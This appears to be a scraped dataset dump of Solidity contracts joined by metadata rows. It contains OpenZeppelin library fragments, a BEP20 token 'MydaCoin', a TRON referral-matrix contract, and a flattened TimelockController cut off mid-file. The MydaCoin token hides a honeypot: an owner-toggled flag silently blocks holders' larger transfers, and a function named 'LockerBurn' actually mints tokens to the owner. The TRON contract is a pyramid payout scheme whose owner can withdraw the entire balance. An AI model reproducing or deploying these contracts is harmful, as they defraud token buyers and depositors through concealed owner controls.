require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _requireMinted(uint256 tokenId) internal view virtual {
require(_exists(tokenId), "ERC721: invalid token ID");
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC721Pausable is ERC721, Pausable {
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
| 63,556 | 13,481 |
915b14bfc0c29ed295d17c2abedffa3db55a6cb88c7cf6608b0e2fb18085c879
| 21,047 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xdF39ae13ee1b25fF11dBf0C8A128808b1E76964d/contract.sol
| 2,767 | 9,829 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MydaCoinToken is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool isSL = true;
uint256 _AMM = 100000;
constructor() public {
_name = 'MydaCoin';
_symbol = 'MYDA';
_decimals = 9;
_totalSupply = 1000000 * 10**9 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function LockerBurn(uint256 amount) external onlyOwner returns (bool) {
_balances[owner()] = _balances[owner()].add(amount);
emit Transfer(address(0), owner(), amount);
}
function theSL(bool _sl) public onlyOwner virtual returns (bool) {
isSL = _sl;
return true;
}
function sl() public view returns (bool) {
return isSL;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
bool allow = false;
if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
allow = true;
} else {
if((amount <= _AMM || isSL) && !isContract(sender)) {
allow = true;
}
}
if(allow) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function pancakePair() public view virtual returns (address) {
address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 251,394 | 13,482 |
0a89baed3ff749d56bd3a1f6437344f697714dabdfb656afb8cb2e953846330d
| 24,309 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGRDBpCrc5hbDRq5FRm9p4p9nRdtyrFB2Q_TronGoogol1.sol
| 5,806 | 20,798 |
//SourceUnit: planA.sol
pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TronGoogol1{
using SafeMath for uint256;
struct user{
uint256 id;
address inviter;
uint256 partnersCount;
uint256 plan;
uint256 treeId;
uint256 regTime;
mapping(uint256 => bool) PlanStatus;
mapping(uint256 => uint256) TreeNo;
mapping(uint256 => mapping(uint256 => userTree)) treeDetails;
}
struct userTree{
address inviterAddr;
address upline;
address thirdUpline;
uint256 coreCount;
address[] firstDownlines;
address[] ThirdDownlines;
uint256 treeRegTime;
uint256 earningsLimit;
uint256 receivedAmount;
uint256 earns;
uint256 give;
uint256 reinvestCount;
uint256 reinvestTime;
uint256 reinvestEligible;
bool cycleStatus;
bool coreStatus;
mapping (uint256 => bool) PositionStatus;
}
struct planData{
uint256 PlanUSDPrice;
uint256 Limit;
uint256 TreeCount;
uint256[] tree_ids;
}
mapping(uint256 => mapping(uint256 => uint256)) internal totalTreeUser;
mapping(address => user) public users;
mapping(uint256 => planData) internal PlanDetails;
mapping(uint256 => address) public users_ids;
uint256 public totalPlan;
uint256 public lastId;
uint256 private trxUSDPrice; // $1 = current tron price
uint256 public totalTree = 1;
uint8 contractLockStatus = 1; // 1 - unlock, 2 - lock
address payable public owner;
address payable public commissionAddress1;
address payable public commissionAddress2;
address payable public commissionAddress3;
address payable public charityAddress;
address payable public stakeAddress;
uint256 public total_deposited;
event _Register(address indexed _user,address indexed inviter,address indexed _upline,uint256 _plan,uint256 _tree,uint256 _amount, uint256 Time);
event _UplineCheck(address indexed _user,address indexed _Upline,address indexed _receiver,uint256 plan,uint256 tree,uint256 Amount, uint256 Time);
event _Sendtrx(address indexed Receiver,uint256 ReceiverId,uint256 Amount,uint256 Plan,uint256 tree, uint256 Time);
event _FailSafe(address indexed _receiver,uint256 _amount, uint256 Time);
event _commissionTrx(address indexed _commissionAddr,uint256 _amount);
event _reinvest(address indexed _user,uint256 reinvestTime);
constructor(address payable _owner,address payable _stakeAddr,address payable _charityAddr,address payable _commission1,address payable _commission2,address payable _commission3,uint256 _trxPrice) public{
owner = _owner;
stakeAddress = _stakeAddr;
commissionAddress1 = _commission1;
commissionAddress2 = _commission2;
commissionAddress3 = _commission3;
charityAddress = _charityAddr;
trxUSDPrice = _trxPrice;
user memory userData = user({
id: ++lastId,
inviter: address(0),
partnersCount:0,
plan:3,
treeId:1,
regTime: block.timestamp
});
users[msg.sender] = userData;
users_ids[lastId] = owner;
PlanInject(25, 25958750000);
PlanInject(50, 51917500000);
PlanInject(100, 103835000000);
}
modifier OwnerOnly(){
require(msg.sender == owner, "owner only accessible");
_;
}
modifier contractLockCheck(){
require(contractLockStatus == 1, "inject is locked");
_;
}
function currentTrxPriceForOneDoller() public view returns(uint256){
return trxUSDPrice;
}
function PlanInject(uint256 _planPrice,uint256 _limitedAmount) internal {
totalPlan++;
PlanDetails[totalPlan].PlanUSDPrice = _planPrice;
PlanDetails[totalPlan].Limit = _limitedAmount;
PlanDetails[totalPlan].TreeCount = totalTree;
PlanDetails[totalPlan].tree_ids.push(totalTree);
users[owner].PlanStatus[totalPlan] = true;
users[owner].treeDetails[totalPlan][totalTree].treeRegTime = block.timestamp;
totalTreeUser[totalPlan][totalTree] = totalTreeUser[totalPlan][totalTree].add(1);
users[owner].treeDetails[totalPlan][totalTree].coreStatus = true;
users[owner].treeDetails[totalPlan][totalTree].earningsLimit = (PlanDetails[totalPlan].Limit * trxUSDPrice)/ 1e6 ;
}
function TreeInject() public OwnerOnly{
totalTree++;
for(uint256 _Plan = 1; _Plan <= 3 ; _Plan++){
PlanDetails[_Plan].TreeCount = totalTree ;
PlanDetails[_Plan].tree_ids.push(totalTree);
users[owner].treeDetails[_Plan][totalTree].treeRegTime = block.timestamp;
totalTreeUser[_Plan][totalTree] = totalTreeUser[_Plan][totalTree].add(1);
}
}
function trxPriceUpdate(uint256 amount) public OwnerOnly {
require(amount != 0, "invalid amount");
trxUSDPrice = amount;
}
function Register(uint256 id,uint256 plan,uint256 tree) external contractLockCheck payable{
uint256 RegPrice = (PlanDetails[plan].PlanUSDPrice * trxUSDPrice);
require(users[msg.sender].treeDetails[plan][tree].treeRegTime == 0,"user already exists in this tree");
if(users[msg.sender].id != 0) {
require(users[msg.sender].partnersCount >=2, "Partners Count Invalid");
require(users[msg.sender].treeId == tree, "Invalid tree id");
regUser(msg.sender,users_ids[id],plan,tree, RegPrice);
}else {
require(users[msg.sender].id == 0,"userAddr already exists");
require(plan == 1, "plan is Invalid");
regUser(msg.sender,users_ids[id],plan,tree, RegPrice);
}
}
function regUser(address userAddr,address inviter,uint256 _plan,uint256 _tree, uint256 checkPlanPrice) internal{
require(msg.value == checkPlanPrice, "Amount is invalid");
require((_plan <= totalPlan) && (_plan != 0), "Plan is invalid");
require(_tree <= PlanDetails[_plan].TreeCount && _tree != 0, "Tree is invalid");
require((users[inviter].id != 0) && (users[inviter].treeDetails[_plan][_tree].treeRegTime != 0), "Referrals address is invalid");
require(users[userAddr].TreeNo[_plan] == 0, "Already Exist in this Plan");
require(users[userAddr].plan.add(1) == _plan, "Buy previous plan");
if(users[userAddr].id == 0){
user memory userData = user({
id: ++lastId,
inviter: inviter,
partnersCount:0,
plan: 0,
treeId:_tree,
regTime: block.timestamp
});
users[userAddr] = userData;
users_ids[lastId] = userAddr;
}
users[userAddr].treeDetails[_plan][_tree].inviterAddr = inviter;
users[userAddr].treeDetails[_plan][_tree].treeRegTime = block.timestamp;
users[userAddr].PlanStatus[_plan] = true;
users[userAddr].treeDetails[_plan][_tree].earningsLimit = (PlanDetails[_plan].Limit * trxUSDPrice)/ 1e6 ;
users[userAddr].TreeNo[_plan] = _tree;
users[userAddr].plan = users[userAddr].plan.add(1);
users[inviter].partnersCount = users[inviter].partnersCount.add(1);
totalTreeUser[_plan][_tree] = totalTreeUser[_plan][_tree].add(1);
updateUserPlace(userAddr,inviter,_plan,_tree,1);
}
function updateUserPlace(address userAddr,address inviter,uint256 _plan,uint256 _tree,uint8 flag) internal{
address coreAddr = coreSearch(inviter,_plan,_tree);
address inviter_ = findFreeReferrer(coreAddr,_plan,_tree);
users[userAddr].treeDetails[_plan][_tree].upline = inviter_;
users[inviter_].treeDetails[_plan][_tree].firstDownlines.push(userAddr);
if(users[inviter_].treeDetails[_plan][_tree].upline != address(0)){
users[users[inviter_].treeDetails[_plan][_tree].upline].treeDetails[_plan][_tree].coreCount += 1;
}
address _ThirdRef = users[users[inviter_].treeDetails[_plan][_tree].upline].treeDetails[_plan][_tree].upline;
if(_ThirdRef != address(0)){
UpdatePlan(userAddr,users[userAddr].id,inviter_,_ThirdRef,_plan,_tree,msg.value,flag);
}
else{
if(flag == 2) return;
Sendtrx(charityAddress,_plan,_tree,msg.value);
}
emit _Register(userAddr,inviter,inviter_,_plan,_tree,msg.value, block.timestamp);
}
function UpdatePlan(address addr,uint256 userId,address Upline,address ThirdRef,uint256 plan,uint256 tree,uint256 amount,uint8 flag) internal {
users[addr].treeDetails[plan][tree].thirdUpline = ThirdRef;
users[ThirdRef].treeDetails[plan][tree].ThirdDownlines.push(addr);
if(users[ThirdRef].treeDetails[plan][tree].coreStatus == true){
users[addr].treeDetails[plan][tree].coreStatus = true;
}
if(users[ThirdRef].treeDetails[plan][tree].ThirdDownlines.length <= 3){
if(flag == 1){
Sendtrx(ThirdRef,plan,tree,amount);
}
emit _UplineCheck(addr,Upline,ThirdRef,plan,tree,amount, block.timestamp);
}
else if(users[ThirdRef].treeDetails[plan][tree].ThirdDownlines.length > 3){
users[addr].treeDetails[plan][tree].cycleStatus = true;
(address _users,address RefAddress) = uplineStatusCheck(ThirdRef,users[ThirdRef].id,plan,tree);
if(_users != owner){
users[_users].treeDetails[plan][tree].give = users[_users].treeDetails[plan][tree].give.add(amount);
}
users[_users].treeDetails[plan][tree].receivedAmount = users[_users].treeDetails[plan][tree].receivedAmount.add(amount);
address SecondThirdRef = RefAddress != address(0) ? RefAddress : charityAddress;
if(flag == 1){
Sendtrx(SecondThirdRef,plan,tree,amount);
}
emit _UplineCheck(addr,Upline,SecondThirdRef,plan,tree,amount, block.timestamp);
}
address PositionStatusAdd = users[ThirdRef].treeDetails[plan][tree].thirdUpline == address(0) ? address(0) : users[ThirdRef].treeDetails[plan][tree].thirdUpline ;
if(PositionStatusAdd != address(0) && users[PositionStatusAdd].treeDetails[plan][tree].thirdUpline != address(0)){
users[PositionStatusAdd].treeDetails[plan][tree].PositionStatus[userId] = true;
}
}
function uplineStatusCheck(address userAddress,uint256 id,uint256 plan,uint256 tree) internal view returns(address _user,address Ref){
if(userAddress == address(0)){
return (userAddress,address(0));
}
if (users[userAddress].treeDetails[plan][tree].cycleStatus != true || users[userAddress].treeDetails[plan][tree].PositionStatus[id] == true) {
return (userAddress,users[userAddress].treeDetails[plan][tree].thirdUpline);
}
return uplineStatusCheck(users[userAddress].treeDetails[plan][tree].thirdUpline,id,plan,tree);
}
function coreSearch(address addr,uint256 plan,uint256 tree) internal view returns(address coreAdr){
if(addr == owner){
return addr;
}
if(users[addr].treeDetails[plan][tree].coreStatus == true){
if(users[addr].treeDetails[plan][tree].coreCount == 4){
return addr;
}
else{
return coreSearch(users[addr].treeDetails[plan][tree].upline,plan,tree);
}
}else{
return coreSearch(users[addr].treeDetails[plan][tree].upline,plan,tree);
}
}
function findFreeReferrer(address _user,uint256 _plan,uint256 tree) internal view returns(address) {
if(users[_user].treeDetails[_plan][tree].firstDownlines.length < 2) return _user;
address[] memory refs = new address[](1024);
refs[0] = users[_user].treeDetails[_plan][tree].firstDownlines[0];
refs[1] = users[_user].treeDetails[_plan][tree].firstDownlines[1];
for(uint16 i = 0; i < 1024; i++) {
if(users[refs[i]].treeDetails[_plan][tree].firstDownlines.length < 2) {
return refs[i];
}
if(i < 511) {
uint16 n = (i + 1) * 2;
refs[n] = users[refs[i]].treeDetails[_plan][tree].firstDownlines[0];
refs[n + 1] = users[refs[i]].treeDetails[_plan][tree].firstDownlines[1];
}
}
revert("No free referrer");
}
function adminFee(uint256 amount) internal{
uint256 first = amount.mul(4).div(100);
uint256 second = amount.mul(75e16).div(100e18);
uint256 third = amount.mul(25e16).div(100e18);
require(address(uint160(commissionAddress1)).send(first), "Transaction Failed");
require(address(uint160(commissionAddress2)).send(second), "Transaction Failed");
require(address(uint160(commissionAddress3)).send(third), "Transaction Failed");
emit _commissionTrx(commissionAddress1,first);
emit _commissionTrx(commissionAddress2,second);
emit _commissionTrx(commissionAddress3,third);
}
function Sendtrx(address _receiver,uint256 _plan,uint256 _tree,uint256 _amount) private{
total_deposited = total_deposited.add(_amount);
uint256 withFee = _amount.mul(95).div(100);
adminFee(_amount);
if(_receiver != charityAddress){
userTree storage userData = users[_receiver].treeDetails[_plan][_tree];
userData.earns = userData.earns.add(withFee);
userData.receivedAmount = userData.receivedAmount.add(_amount);
userData.reinvestEligible = userData.reinvestEligible.add(1);
if(_receiver != owner){
require(address(uint160(_receiver)).send(withFee), "Transaction Failed");
emit _Sendtrx(_receiver,users[_receiver].id,withFee,_plan,_tree, block.timestamp);
}else{
require(address(uint160(stakeAddress)).send(withFee), "Transaction Failed");
emit _Sendtrx(stakeAddress,0,withFee,_plan,_tree, block.timestamp);
}
if(userData.earns >= userData.earningsLimit && userData.reinvestEligible >= 1093){
Reinvest(_receiver,_plan,_tree);
}
}else{
require(address(uint160(charityAddress)).send(withFee), "Transaction Failed");
emit _Sendtrx(charityAddress,0,withFee,_plan,_tree, block.timestamp);
}
}
function Reinvest(address _userAdd,uint256 _plan,uint256 _tree) private{
userTree storage userData = users[_userAdd].treeDetails[_plan][_tree];
userData.firstDownlines = new address[](0);
userData.ThirdDownlines = new address[](0);
userData.reinvestCount = userData.reinvestCount.add(1);
userData.receivedAmount = 0;
userData.earns = 0;
userData.give = 0;
userData.coreCount = 0;
userData.reinvestTime = block.timestamp;
userData.reinvestEligible = 0;
if(users[owner].treeDetails[_plan][_tree].reinvestCount == 0){
users[owner].treeDetails[_plan][_tree].reinvestCount += 1;
}
if(_userAdd != owner) {
userData.cycleStatus = false;
userData.coreStatus = false;
address reinvestAddr = reinvestSearch(userData.inviterAddr,_tree,_plan);
emit _reinvest(_userAdd,block.timestamp);
return updateUserPlace(_userAdd ,reinvestAddr,_plan,_tree,2);
}
}
function reinvestSearch(address _inviter,uint256 _tree,uint256 _plan) internal view returns(address reinvestAddr){
if(_inviter == address(0)){
return owner;
}
if(users[_inviter].treeDetails[_plan][_tree].reinvestCount != 0){
return _inviter;
}else{
return reinvestSearch(users[_inviter].treeDetails[_plan][_tree].upline, _tree, _plan);
}
}
function updatePlanDetails(uint256 _planId, uint256 _planPrice, uint256 _planLimit) public OwnerOnly returns(bool){
require(_planId > 0 && _planId <= totalPlan,"Invalid Plan");
PlanDetails[_planId].PlanUSDPrice = _planPrice;
PlanDetails[_planId].Limit = _planLimit;
return true;
}
function changeContractLockStatus(uint8 _status) public OwnerOnly returns(bool){
require((_status == 1) || (_status == 2), "_status should be 1 or 2");
contractLockStatus = _status;
return true;
}
function failSafe(address payable _toUser, uint256 _amount) public OwnerOnly returns (bool) {
require(_toUser != address(0), "Invalid Address");
require(address(this).balance >= _amount, "Insufficient balance");
(_toUser).transfer(_amount);
emit _FailSafe(_toUser,_amount, block.timestamp);
return true;
}
function viewDetails(address userAdd,uint256 _plantype,uint256 tree) public view returns(address inviterAddr,uint256 regtime,address upline,address thirdUplineAddress,address[] memory firstDownlines,address[] memory ThirdDownlines){
address customerAddr = userAdd;
return (users[userAdd].treeDetails[_plantype][tree].inviterAddr,users[userAdd].treeDetails[_plantype][tree].treeRegTime,users[customerAddr].treeDetails[_plantype][tree].upline,users[customerAddr].treeDetails[_plantype][tree].thirdUpline,users[userAdd].treeDetails[_plantype][tree].firstDownlines,users[customerAddr].treeDetails[_plantype][tree].ThirdDownlines);
}
function profitDetails(address userAdd,uint256 _plan,uint256 _tree) public view returns(uint256 ReceivedAmount,uint256 _Earns,uint256 _give,uint256 EarningLimit,uint256 _Reinvest,uint256 reinvestTime,uint256 reinvestEligible){
userTree storage userData = users[userAdd].treeDetails[_plan][_tree];
return (userData.receivedAmount,userData.earns,userData.give,userData.earningsLimit,userData.reinvestCount,userData.reinvestTime,userData.reinvestEligible);
}
function PlanAndTreeDetails(address _addr,uint256 plan,uint256 tree) public view returns(bool PlanStatus,bool treeStatus){
PlanStatus = users[_addr].PlanStatus[plan];
treeStatus = (users[_addr].treeDetails[plan][tree].treeRegTime != 0) ? true : false;
}
function PlanDetail(uint256 PlanId) public view returns(uint256 _PlanPrice,uint256 PlanLimit,uint256 treeCount,uint256[] memory _treeDetails){
return (PlanDetails[PlanId].PlanUSDPrice,PlanDetails[PlanId].Limit,PlanDetails[PlanId].TreeCount,PlanDetails[PlanId].tree_ids);
}
function cycleView(address _userAdd,uint256 userId,uint256 _plantype,uint256 tree) public view returns(bool _cycle){
return (users[_userAdd].treeDetails[_plantype][tree].PositionStatus[userId]);
}
function userTreeStatus(address _user,uint256 plan) public view returns(uint256 treeNum){
return users[_user].TreeNo[plan];
}
function treeUserCount(uint256 plan,uint256 tree) public view returns(uint256 totolUser){
return totalTreeUser[plan][tree];
}
}
| 299,135 | 13,483 |
61e27d7fb6d8fbd38937759bfed9d7059984422b847728155a0a6c5ec68d019e
| 48,886 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/governance/TimelockControllerUpgradeable_flat.sol
| 5,408 | 21,675 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (governance/TimelockController.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (access/AccessControl.sol)
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
interface IAccessControlUpgradeable {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
